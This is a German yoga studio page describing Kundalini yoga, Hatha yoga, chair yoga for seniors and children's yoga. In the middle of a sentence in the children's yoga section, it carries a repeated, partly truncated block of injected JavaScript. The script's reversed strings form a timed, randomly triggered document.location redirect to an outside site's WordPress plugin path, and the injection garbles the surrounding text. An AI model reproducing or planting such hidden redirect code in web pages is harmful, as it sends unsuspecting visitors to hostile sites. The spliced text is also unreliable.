1. Der Körper ist Gottes Tempel. Pflege ihn gut, dass er gern darin wohnen mag. (Yogi Bhajan)

YOGA kann von allen Menschen geübt werden, ohne Rücksicht auf Geschlecht, Alter und Religion. Wer den Wunsch hat, an Körper und Seele gesund zu sein und bereit ist, zur Erfüllung dieses Wunsches einige Zeit und Mühe aufzuwenden, wird durch Sport und Yoga sein erhabenes Ziel erreichen. Wer Yoga beherrscht, meistert sein Leben!
(Zitat: Inder Selvarajan YESUDIAN)

Mein Yoga-Programm:

Kundalini Yoga (wie es von Yogi Bahjan gelehrt wurde)

Es ist ein Yoga, das mit bestimmten aufeinander aufbauenden körperlichen und mentalen Übungen dem Praktizierenden intensive Erfahrungen ermöglicht. Diese Erfahrungen können Entspannung, Auflösen v Blockaden, tiefe innere Einsichten, Freude, Vitalität, und mehr sein. Der Kontakt zum wahren Inneren kann sich zeigen und den Menschen an sein wahres Potenzial erinnern.
Die Techniken unterstützen auf dem eigenen Weg und lassen sich individuell in den Alltag integrieren.
Dieses Yoga arbeitet an den 7 Chakras (Energiezentren des Körpers), der Bogenlinie und dem elektromagnetischen Feld, das uns umgibt, auch „Aura“ oder 8.Chakra genannt.

Es spricht direkt die Gesamtenergie an. Körper, Geist und Seele sollen in Einklang gebracht werden. 

Der Prozess der yogischen Praxis soll dazu dienen, die Nadis (auch Meridiane oder Energieleitbahnen genannt) und die Chakren zu reinigen, Blockaden aufzuheben, damit die Kundalini frei fließen kann.

Kundalini selbst ist dein schöpferisches Potential und bedeutet die Entfaltung deines Bewusstseins. Du erfährst es, wenn sich die Energien des Drüsensystems und des Nervensystems verbinden, was Dich so empfindsam macht, dass die Gesamtheit des Gehirns Signale empfängt und sie diese integriert. Du lernst deine Energie zu steuern und sie zu erfahren, um ein Gleichgewicht zu erzielen; das Gleichgewicht zwischen dem Inneren und dem Äußeren.

Kundalini-Yoga ist in vielen Übungen dynamischer und richtet sich stark nach dem Spüren der eigenen Lebensenergie. Der Atem und Meditationen haben einen zentralen Stellenwert. Die Kundalini ist auch als Nerv der Seele bekannt.

 

Hatha Yoga (= Kraft)

Ist eine Form von Yoga, bei der das Gleichgewicht zwischen Körper und Geist vor allem durch körperliche Übungen (Asanas), Atemübungen (Pranayama) und Meditation angestrebt wird. Kraft, Ausdauer, Vitalität und das Lungenvolumen werden verbessert.

Man erhält eine bessere Körperwahrnehmung und lernt sich wieder zu spüren. Der Geist wird zur Ruhe gebracht.

 

Yoga 50-Plus – auf dem Stuhl

Für ältere Menschen und Senioren, die sich den Anforderungen einer normalen Yogastunde nicht mehr stellen möchten oder aus gesundheitlichen Gründen können, aber trotzdem in den Genuss der Yoga-Qualitäten kommen möchten.

Hauptziele sind die Balance und die Koordinationsfähigkeit zu erhalten, die Wirbelsäule aufzurichten und das Lungenvolumen zu erweitern.

Dies hilft die Lebensqualität im Alter zu verbessern.

Kinder-Yoga

Wissenschaftler haben festgestellt, dass Yoga die motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torische Leistungsfähigkeit der Kinder verbessert.
Die Kinder lernen spielerisch auf der Yogamatte sich zu konzentrieren und den Körper zu spüren.
Die Yogaübungen verbessern die Kraft und die Ausdauer, und stärken zudem den Rücken.

Kinder-Yoga ist kein Wettbewerb!!

 

Yin-Yoga und Hatha-Flow bei Friederike Hartmann auf Anfrage!    www.bodyinspired.de